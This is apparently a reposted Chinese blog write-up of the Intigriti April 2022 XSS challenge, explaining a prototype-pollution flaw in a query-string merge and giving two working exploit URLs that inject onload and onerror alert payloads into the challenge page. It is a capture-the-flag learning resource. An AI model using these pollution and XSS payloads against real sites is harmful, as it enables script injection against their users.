网络安全-intigriti-0422-XSS-Challenge Write-up

ops/2024/10/19 13:19:17/

目录

一、环境

二、解题

2.1看源码


一、环境

Intigriti April Challenge

二、解题

要求:弹出域名就算成功

2.1看源码

我们看到marge方法,肯定是原型链污染题目

接的是传参,我们可控的点在于qs.config和qs.settings,这两个可控又可以覆盖原来的配置项

那我们得看checkHost怎么进来,匹配一下可以看到temp分割取端口号,hostname取域名

它们的两个值是数组,假如说appConfig["window-toolbar"][__proto__][1] = 8080,这样是不是可以把8080取出来,那我们的问题就到突破checkHost

JavaScript中,数组的下标可以⽤字符或是字符串数字来取值,所以在原型链中,我们可 以给[]对象添加⼀个名称为1的属性,这样 temp 在通过下标 1 取值的时候,实际上取到的 是数组中属性为 1 的值

[].constructor.prototype['1'] = 8080
//[1: 8080, constructor: ƒ, concat: ƒ, copyWithin: ƒ, fill: ƒ, find: ƒ, …]

那我们可以 利用这个数组突破checkHost,现在temp[1]的祖先1就等于8080

?config[window-toolbar][constructor][prototype][1]=8080

现在还有一个问题覆盖root为<svg>这个标签

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E

 我们可以看到已经被污染

最开始要取body但是只能取到main所以通过main一层层继承取到了,我们也看的很清最后取的svg再body下

那怎么污染的,我们通过结果看过程,最后因为svg是我们插进去的,在没有插进去之前div应该是第一个,相当于就是将root覆盖为了root,但是我们的命令在进去之前已经被js处理为数组了,所以最后[outerHTML]后面还有一个1去取payload

第二种解法原理一样:替换body

https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][constructor][prototype][xd][s]=1&config[window-toolbar][constructor][constructor][constructor][prototype][xd][constructor][prototype][innerHTML][0]=%3Cimg%20src%3da%20onerror%3dalert(document.domain);alert%3dundefined%3E


http://www.ppmy.cn/ops/110180.html

相关文章

游戏中的唯一id生成,防止合服id重复

故事背景&#xff0c;接手了一个烂代码&#xff0c;合服的时候大量id重复。你说改了id合服不就完事了吗&#xff0c;有那么简单吗。比如道具id重复&#xff0c;你把道具表的id改了&#xff0c;但是其他表用了道具id&#xff0c;其他表你也要改。如果其他表用的道具id不是单独一…

Python实现服务端发送 Server-Sent Events (SSE) 和客户端接收 SSE

在 Python 中可以使用 aiohttp 库来实现服务端发送 Server-Sent Events (SSE) 和客户端接收 SSE。以下是一个简单的 SSE 客户端和服务端实现示例。 服务端代码 (SSE 发送) import asyncio from aiohttp import webasync def sse_handler(request):response web.StreamRespon…

【基于 Spring Boot 的二手交易平台】

构建一个基于 Spring Boot 的二手交易平台是一个涉及多个组件和技术栈的复杂项目。以下是一个基本的框架概述&#xff0c;可以帮助你开始搭建这样一个平台&#xff1a; 技术栈选择 Spring Boot: 用于快速开发 RESTful Web 服务。数据库: MySQL, PostgreSQL, 或其他关系型数据…

通用内存快照裁剪压缩库Tailor介绍及源码分析(二)

通用内存快照裁剪压缩库Tailor介绍及源码分析&#xff08;一&#xff09; 上章节中我们通过源码学习和分析了dump内存快照的hook&#xff0c;本章节的重点则是分析裁剪和还原的实现。 裁剪压缩hprof 如何裁剪掉无用信息&#xff0c;我们需要对hprof文件格式有所了解。 认识hp…

java 继承的案例

java 继承的案例 以下是一个简单的Java类继承的例子。在这个例子中&#xff0c;我们定义了一个基类Vehicle&#xff0c;然后定义了两个派生类Car和Truck。 这个代码示例展示了面向对象编程中的继承和方法重写的基本用法。以下是对代码的详细分析&#xff1a; 类定义 基类 Vehi…

遇到僵尸进程,怎么处理---学习笔记

僵尸进程解释 当 iowait 升高时&#xff0c;进程很可能因为得不到硬件的响应&#xff0c;而长时间处于不可中断状态。从 ps 或者 top 命令的输出中&#xff0c;你可以发现它们都处于 D 状态&#xff0c;也就是不可中断状态&#xff08;Uninterruptible Sleep&#xff09;。既然…

边缘检测运用

文章目录 一、简介1.边缘检测的概念2.边缘检测的目的 二、代码实现三、边缘检测的方法1.1Canny边缘检测器1.2.Canny代码实现2.1Sobel边缘检测器2.2Sobel代码实现3.1Laplacian边缘检测器3.2Laplacian代码实现4.1Scharr边缘检测器4.2Scharr代码实现 四、边缘检测的应用 一、简介 …

影刀RPA实战:自动化批量生成条形码完整指南

今天我们聊聊使用影刀来实现批量生成条形码&#xff0c;条形码在零售行业运用非常广泛&#xff0c;主要作用表现在产品识别&#xff0c;库存管理&#xff0c;销售管理&#xff0c;防伪保护等&#xff0c;这些作用使其成为现代商业和工业环境中不可或缺的工具&#xff0c;它极大…